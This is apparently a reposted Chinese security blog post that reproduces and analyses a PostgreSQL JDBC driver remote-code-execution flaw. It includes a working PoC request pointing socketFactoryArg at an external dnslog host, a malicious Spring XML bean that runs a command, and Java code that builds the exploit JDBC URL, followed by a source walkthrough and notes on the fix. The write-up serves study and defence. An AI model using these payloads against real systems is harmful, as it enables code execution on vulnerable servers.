PostgreSQL JDBC Driver RCE 学习
文章分析了PostgreSQL JDBC驱动中的RCE漏洞,详细介绍了复现过程和漏洞触发机制,并提供了修复建议。 2025-7-10 15:36:14 Author: www.freebuf.com(查看原文) 阅读量:9 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

前言

最近看到了契约锁rce,看了文章中的poc:

/api/setup/dbtest?db=POSTGRESQL&host=localhost&port=5321&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fxxx.dnslog.cn%2F1%2Exml

针对这个poc的话就是 PostgreSQL JDBC Driver RCE漏洞,于是便简单复现与分析一下漏洞

复现

漏洞版本:

• < 42.2.25
• >= 42.3.0,< 42.3.2

本地pom.xml:

<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.20</version>
</dependency>

postgresql下载:https://www.enterprisedb.com/download-postgresql-binaries

搭建就不详细说了

恶意xml文件:

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

然后启动postgresql,在xml文件起一个http服务 :python -m http.server 9090

运行下面的代码:

//路径和数据库账号密码是自己的
public class postgrejdbcrce {
public static void main(String[] args) throws SQLException {

String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/test.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl,"postgres","root");
//ClassPathXmlApplicationContext cxa = new ClassPathXmlApplicationContext(socketFactoryArg);

}
}

成功执行命令:

1751614761_68678529062dda39dcf8e.png!small?1751614761396

漏洞分析

其实漏洞触发点在于 ObjectFactory() 类中的 instantiate 函数进行了反射,如下:

public static Object instantiate(String classname, Properties info, boolean tryString, String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException {
Object[] args = new Object[]{info};
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);

try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException var9) {
}

if (tryString && ctor == null) {
try {
ctor = cls.getConstructor(String.class);
args = new String[]{stringarg};
} catch (NoSuchMethodException var8) {
}
}

if (ctor == null) {
ctor = cls.getConstructor();
args = new Object[0];
}

return ctor.newInstance((Object[])args);
}

其中的参数 classname 就是传入的参数中的 socketFactory,也就是org.springframework.context.support.ClassPathXmlApplicationContext,info就是 socketFactoryArg ,也就是传入的恶意xml,所以这里就是反射实例化 ClassPathXmlApplicationContext 类的参数是String 的构造函数,效果就相当于:

ClassPathXmlApplicationContext cxa = new ClassPathXmlApplicationContext(
"http://127.0.0.1:8080/test.xml"
);
//也就是解析xml

前面的各种步骤最终都是落到这一个反射点,咱可以大致看一下:

先进入Driver类的connect函数:

1751620327_68679ae7cb5fa79d7bedb.png!small?1751620327975

其中有一个parseurl 函数来解析提取出参数:

1751620534_68679bb6aad1b8c57181b.png!small?1751620537287

1751620599_68679bf7e1f0ca1b168b9.png!small?1751620600012

可以看到前几步 先是找到 ? 字符的位置,然后以此把参数分离出来到urlArgs这个变量里,然后再去掉jdbc:postgresql:这个前缀,然后再提取出每一个参数,url,port这些信息,最后存储到urlProps里,再返回给调用它的函数,中间还会进行url解码,对应开头的poc进行了url编码。然后后面其实就相当于是在一直把参数传来传去的,最后传入反射存在点那里

浅看一下继续下去是怎么传的:

传入到connectionFactory.openConnectionImpl()中,参数info就是上面的uriProps,即包含了参数、url、port信息,如下图:

1752055514_686e3eda3ae9d094bcf1e.png!small?1752055513408

接着在其中会调用SocketFactoryFactory.getSocketFactory(info),info就是上面的info,如下图:

1752055612_686e3f3c020e23702a415.png!small?1752055611300

跟进去,发现了里面调用了上面提到的反射点,instantiate()方法,info还是上面的info,跟进去就是反射了:

1752055724_686e3fac34e9f2c632577.png!small?1752055723323

1752055821_686e400d1d92ed896b689.png!small?1752055820193

也不长也很容易看明白,又看了一下后面的版本修复方法,以42.5.0为例,里面是已经删除了SocketFactoryFactory的用法,固然这种打法也不起作用了,详细的可以自己调试看一下

总结

总的来说,首先是jdbc连接池参数可控,这也是契约锁rce漏洞所在处,然后版本存在漏洞

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/438695.html
如有侵权请联系:admin#unsafe.sh